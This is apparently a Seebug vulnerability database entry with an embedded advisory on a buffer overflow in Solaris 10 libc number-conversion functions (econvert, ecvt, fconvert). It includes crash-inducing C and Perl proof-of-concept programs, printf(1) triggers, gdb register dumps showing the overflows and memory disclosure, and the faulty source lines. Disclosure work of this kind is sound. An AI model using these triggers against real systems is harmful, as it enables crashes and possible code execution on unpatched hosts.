Lucene search

K
seebugRootSSV:19689
HistoryMay 25, 2010 - 12:00 a.m.

Sun Solaris多个libc库数字转换函数缓冲区溢出漏洞

2010-05-2500:00:00
Root
www.seebug.org
40

0.97 High

EPSS

Percentile

99.7%

BUGTRAQ ID: 40309

Solaris是一款由Sun开发和维护的商业UNIX操作系统。

Solaris操作系统的libc库中所使用的econvert()、ecvt()、fcvt()和gcvt()等函数在执行数字转换操作时存在缓冲区溢出漏洞,攻击者提交恶意请求就可以触发这些溢出,导致执行任意指令。

Sun Solaris 10.0_x86
Sun Solaris 10.0
厂商补丁:

Sun

目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://sunsolve.sun.com/security


                                                - --- 1. Sun Solaris 10 libc/*convert (*cvt) buffer overflow ---
The main problem exists in sun solaris libc. OpenSolaris is not affected.

PoC:
- ---
# cat jaja.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]){

char number[10000];

int a,b;

printf("%s", fconvert((double)0,atoi(argv[1]),&a,&b,number));
return 0;
}

# /usr/local/bin/gcc -o jaja jaja.c
# ./jaja 16
0000000000000000#
# ./jaja 512
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000000#
- ---

for 512 will work fine, because we have used (double)0 to convert. When we
use no zero value, then crash.

ok. let`s set no zero value in jaja2.c

Poc:
- ---
# cat jaja2.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]){

char number[10000];

int a,b;

printf("%s", fconvert((double)1,atoi(argv[1]),&a,&b,number));
return 0;
}

# /usr/local/bin/gcc -o jaja2 jaja2.c
# ./jaja2 512
Segmentation fault (core dumped)
# /usr/local/bin/gdb -q jaja2
(no debugging symbols found)
(gdb) r 512
Starting program: /jaja2 512
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeeab05c in fconvert () from /lib/libc.so.1
(gdb) i r
eax 0x8047240 134509120
ecx 0x3250 12880
edx 0x8048000 134512640
ebx 0xfef9e000 -17178624
esp 0x8044b38 0x8044b38
ebp 0x8044d68 0x8044d68
esi 0x200 512
edi 0x0 0
eip 0xfeeab05c 0xfeeab05c <fconvert+163>
eflags 0x10206 [ PF IF RF ]
cs 0x3b 59
ss 0x43 67
ds 0x43 67
es 0x43 67
fs 0x0 0
gs 0x1c3 451
(gdb) x/x $edx
0x8048000: Cannot access memory at address 0x8048000
(gdb)
- ---

the same result we can get with perl(1)

PoC perl:
- ---
#!/usr/local/bin/perl
printf "%.512f", 1;
# perl pss.pl
Segmentation Fault - core dumped
# /usr/local/bin/gdb -q perl
(no debugging symbols found)
(gdb) r pss.pl
Starting program: /usr/bin/perl pss.pl
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfed7b05c in fconvert () from /lib/libc.so.1
- ---

ok.

function like *cvt(3) are also affected. let`s check ecvt(3)

PoC:
- ---
# cat jaja3.c
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *argv[]){

int a,b;

printf("%s", ecvt((double)1,atoi(argv[1]),&a,&b));
return 0;
}

# ./jaja3 3405
%Y....[some_part_of_memory]
#
- ---

it`s look like a memory disclosure

let's see bigger value

PoC:
- ---
# ./jaja3 3500
Segmentation fault (core dumped)
- ---

now is the time to debug it

PoC:
- ---
# /usr/local/bin/gdb -q jaja3
(no debugging symbols found)
(gdb)
(gdb) r 4000
Starting program: /jaja3 4000
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeeaaf72 in econvert () from /lib/libc.so.1
(gdb) i r
eax 0xf00 3840
ecx 0xdac 3500
edx 0xfef929ab -17225301
ebx 0xfef9e000 -17178624
esp 0x8047230 0x8047230
ebp 0x8047460 0x8047460
esi 0xfa0 4000
edi 0x1 1
eip 0xfeeaaf72 0xfeeaaf72 <econvert+144>
eflags 0x10287 [ CF PF SF IF RF ]
cs 0x3b 59
ss 0x43 67
ds 0x43 67
es 0x43 67
fs 0x0 0
gs 0x1c3 451
- ---

eip can be differ, not ever in econvert+144

PoC:
- ---
(gdb) r 3501111111
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /jaja3 3501111111
[New LWP 1 ]
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeeaaf89 in econvert () from /lib/libc.so.1
(gdb) i r
eax 0xcfa7d347 -811084985
ecx 0x0 0
edx 0x1 1
ebx 0xfef9e000 -17178624
esp 0x8047230 0x8047230
ebp 0x8047460 0x8047460
esi 0xd0aeb747 -793856185
edi 0x1 1
eip 0xfeeaaf89 0xfeeaaf89 <econvert+167>
eflags 0x10287 [ CF PF SF IF RF ]
cs 0x3b 59
ss 0x43 67
ds 0x43 67
es 0x43 67
fs 0x0 0
gs 0x1c3 451
- ---

and not ever should crash in econvert

very interesting behavior, we can see in printf(1) program

PoC:
- ---
# /usr/local/bin/gdb -q printf
(no debugging symbols found)
(gdb) r %.011111f 0
Starting program: /usr/bin/printf %.011111f 0
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfeea48da in _malloc_unlocked () from /lib/libc.so.1
(gdb) r %.0111111f 0
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/printf %.0111111f 0
[New LWP 1 ]
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfee852ab in memcpy () from /lib/libc.so.1

(gdb) r %.0111111f 1
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /usr/bin/printf %.0111111f 1
[New LWP 1 ]
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)

Program received signal SIGSEGV, Segmentation fault.
0xfee8b05c in fconvert () from /lib/libc.so.1
(gdb) x/i $eip
0xfee8b05c <fconvert+163>: mov %al,(%edx)
- ---

for printf(1) we have get eip in:
- - fconvert+163 (the same like in jaja2=512)
- - memcpy
- - _malloc_unlocked
- - others

this vuln is very similar to CVE-2009-0689 but we don't have founded part
of gdtoa license in Oracle license and bahavior for above examples are
differs as in CVE-2009-0689.

http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/lib
c/gen/common/ecvt.c

- ---
34 char *
35 ecvt(arg, ndigits, decpt, sign)
36 double arg;
37 int ndigits, *decpt, *sign;
38 {
39 if (efcvtbuffer == NULL)
40 efcvtbuffer = (char *)calloc(1,1024);
41 return econvert(arg, ndigits, decpt, sign, efcvtbuffer);
42 }
43
- ---

efcvtbuffer = (char *)calloc(1,1024);
and ndigits is bigger from efcvtbuffer size.

now we show econvert(),

http://src.opensolaris.org/source/xref/onnv/onnv-gate/usr/src/lib/libbc/lib
c/gen/common/econvert.c

- ---
34 econvert(arg, ndigits, decpt, sign, buf)
35 double arg;
36 int ndigits, *decpt, *sign;
37 char *buf;
38 {
39 decimal_mode dm;
40 decimal_record dr;
41 fp_exception_field_type ef;
42 int i;
43 char *pc;
44 int nc;
45
46 dm.rd = fp_direction; /* Rounding direction. */
47 dm.df = floating_form; /* E format. */
48 dm.ndigits = ndigits; /* Number of significant digits. */
49 double_to_decimal(&arg, &dm, &dr, &ef);
50 *sign = dr.sign;
51 switch (dr.fpclass) {
52 case fp_normal:
53 case fp_subnormal:
54 *decpt = dr.exponent + ndigits;
55 for (i = 0; i < ndigits; i++)
56 buf[i] = dr.ds[i];
57 buf[ndigits] = 0;
58 break;
- ---

                              

0.97 High

EPSS

Percentile

99.7%